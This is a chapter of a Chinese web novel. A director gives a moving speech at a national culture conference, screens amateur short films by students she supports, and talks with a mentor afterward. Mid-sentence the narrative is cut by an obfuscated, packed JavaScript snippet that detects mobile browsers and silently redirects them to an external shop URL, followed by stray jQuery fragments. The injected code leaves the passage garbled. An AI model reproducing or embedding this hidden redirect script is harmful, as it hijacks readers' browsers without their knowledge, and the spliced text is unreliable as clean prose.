全国文化工作会议,在北京饭店金色大厅举行。
能容纳五百人的会场,坐满了来自全国各地的文化官员、艺术院校领导、行业协会代表、知名艺术家。
沈小鱼作为特邀代表,坐在第三排靠边的位置。
她的面前,摆着印有自己名字的桌牌,还有一瓶矿泉水,一个笔记本。
严华坐在她斜前方,偶尔回头看她一眼,眼神里有关切,也有鼓励。
会议进行了两个小时,领导讲话,专家发言,气氛庄重而严肃。
轮到沈小鱼发言时,已经是上午十一点。
主持人念到她的名字:
“下面,请透明创作联盟发起人、导演沈小鱼同志发言。”
会场里响起礼貌的掌声。
沈小鱼走上讲台,调整了一下话筒。
她没有带讲稿,手里只有一个U盘。
“各位领导,各位老师,各位同行,大家好。”
她开口,声音清晰而平静,“今天我站在这里,不是作为一个成功的导演,也不是作为一个行业的改革者——我距离成功和改革,都还太远。”
“我站在这里,只是一个普通的创作者。一个还在摸索、还在犯错、还在挣扎的创作者。”
她顿了顿:
“但在过去的一年多里,我和我的同伴们,做了一件很小的事——我们建立了一个叫‘透明创作联盟’的平台,成立了一个叫‘新规则基金’的机构,还启动了一个叫‘星火计划’的人才培养项目。”
“很多人问我,你做这些,是为了什么?”
“我的回答是:为了找回一些,我们正在失去的东西。”
她插入U盘,打开投影。
大屏幕上,出现了四部短片的名字:
《清晨五点的豆浆》
《地铁站的歌声》
《深夜超人》
《垃圾分类员的手》
“这是我们星火计划的学员,用七十二小时,每人五百元预算,拍出来的作品。”
沈小鱼说,“他们不是科班出身,没有学过导演,没有学过摄影,有的甚至连普通话都说不标准。”
“但他们拍出了这些。”
她点击播放。
十二分钟的《清晨五点的豆浆》,在金色大厅的巨大屏幕上放映。
会场里起初有些嘈杂,但随着影片进行,声音渐渐安静下来。
早餐店老板在蒸汽里的背影,给环卫工人加豆浆时憨厚的笑容,还有片尾那句朴素的台词:
“我就是个卖豆浆的,但我想让每个喝我豆浆的人,都能暖和一整天。”
很多人的眼眶,开始泛红。
接着是:
《地铁站的歌声》
《深夜超人》
《垃圾分类员的手》。
每一部,都像一把小锤子,轻轻敲打着在场每个人的心。
影片播完,会场里一片寂静。
沈小鱼关掉投影,重新走到话筒前。
“这些孩子,来自大山,来自农村,来自城市的底层。”
她说,“在传统的艺术教育体系里,他们可能永远没有机会拿起摄像机,永远没有机会讲述自己的故事。”
“因为他们‘不专业’,因为他们‘没背景’,因为他们‘不符合标准’。”
“但我想问——什么是专业?什么是背景?什么是标准?”
她的声音提高了一些:
“如果专业意味着只能说标准的普通话,那么中国八大方言区的老百姓,是不是都不配演戏?”
“如果背景意味着必须出身艺术世家或名校,那么那些在田间地头、在工厂车间、在街头巷尾的普通人,他们的生活和情感,是不是都不值得被看见?”
“如果标准意味着必须符合某种既定的审美和叙事套路,那么那些粗糙的、真实的、充满生命力的表达,是不是都应该被过滤掉?”
会场里鸦雀无声。
“我们建立新规则,启动星火计划,就是想打破这些枷锁。”
沈小鱼继续说,“我们相信,创作的权利,不该被出身、学历、资源垄断。艺术的微光,存在于每一个未被看见的角落。”
她按下遥控器。
大屏幕上,出现了最后一部短片。
片名是:
《桥洞下的莎士比亚》。
画面里,一个流浪汉打扮的老人,坐在桥洞下,面前摆着一本破旧的《莎士比亚全集》。
他正在用浓重的地方口音,朗诵《哈姆雷特》的经典独白:
“生存还是毁灭,这是一个值得考虑的问题……”
老人的发音不标准,节奏混乱,甚至有些字都念错了。
但他的眼神极其专注,仿佛此刻他不是在桥洞下,而是在世界顶级的剧院舞台上。
朗诵到最后,他抬起头,对着镜头——
其实是对着拍摄他的那个星火学员——
笑了:
“小伙子,我演得还行吧?年轻的时候,我可是我们县话剧团的台柱子。”
影片结束。
全场死寂。
长达十秒的,绝对的寂静。
然后,坐在第一排的□□副部长,第一个站了起来,开始鼓掌。
接着,严华站了起来。
接着,更多的人站了起来。
掌声从零星,到热烈,到最后,变成了雷鸣般的、经久不息的掌声。
沈小鱼站在台上,看着台下那些站起来的身影。
有白发苍苍的老艺术家,有正值壮年的文化官员,有和她一样的年轻创作者。
他们的眼睛里,有泪光,有震动,有某种被唤醒的东西。
她知道,她做到了。
不是用数据,不是用理论,不是用任何宏大的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015887|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叙事。
而是用最真实的、最粗粝的、最有生命力的作品。
用那些被遗忘在角落里的,普通人的光。
掌声渐渐平息。
沈小鱼深深鞠躬。
“谢谢。”
她说,“我的发言完了。”
她走下台,回到座位。
严华转过头,对她竖起大拇指,用口型说:
“完美。”
会议在中午十二点结束。
很多人围过来,跟沈小鱼交换名片,表达支持和敬佩。
一位来自西部省份的文化厅长握着她的手说:
“沈导,你们这个星火计划,能不能到我们那里去开班?我们有很多有才华的少数民族孩子,他们需要机会。”
一位艺术院校的校长说:
“我们想和你们合作,把星火计划的模式引入我们的教学体系。”
一位老导演,曾经执导过多部经典影片,已经八十多岁了,坐着轮椅过来,拉着沈小鱼的手,颤抖着说:
“孩子,你做的,是我们这代人想做但没做成的事。坚持下去,一定要坚持下去。”
沈小鱼一一回应,一一感谢。
走出会场时,阳光正好。
严华跟在她身边,低声说:
“小鱼,你今天这场发言,会改变很多东西。”
“我知道。”
沈小鱼说,“但接下来,他们会更疯狂。”
“怕吗?”
沈小鱼笑了。
她抬起头,看着北京湛蓝的天空。
“严导,您知道吗?刚才放《桥洞下的莎士比亚》时,我在想——那个流浪汉老人,他可能一辈子都没进过国家级的会场,没听过这么多人为他鼓掌。”
“但他演了一辈子莎士比亚,在桥洞下,在公园里,在任何一个能站住脚的地方。”
“他不需要掌声,不需要认可,甚至不需要观众。”
“他只需要,还能演。”
她转头,看着严华:
“我现在明白了,我们做的事,不是为了得到掌声,不是为了改变规则,甚至不是为了胜利。”
“我们只是想让那些像老人一样的人知道——”
“你们还能演。”
“而且,有人看得见。”
严华看着她,很久,轻轻拍了拍她的肩。
“走吧。”
她说,“战争还没结束。但今天,我们赢了漂亮的一仗。”
“嗯。”
沈小鱼点头,“走吧。”
两人并肩,走向停车场。
身后,金色大厅在阳光下熠熠生辉。
而前方,还有更长的路,更艰难的战斗。
但沈小鱼知道,她不会孤单。
因为她的身后,有无数个“桥洞下的莎士比亚”。
有无数个,还在坚持发光的人。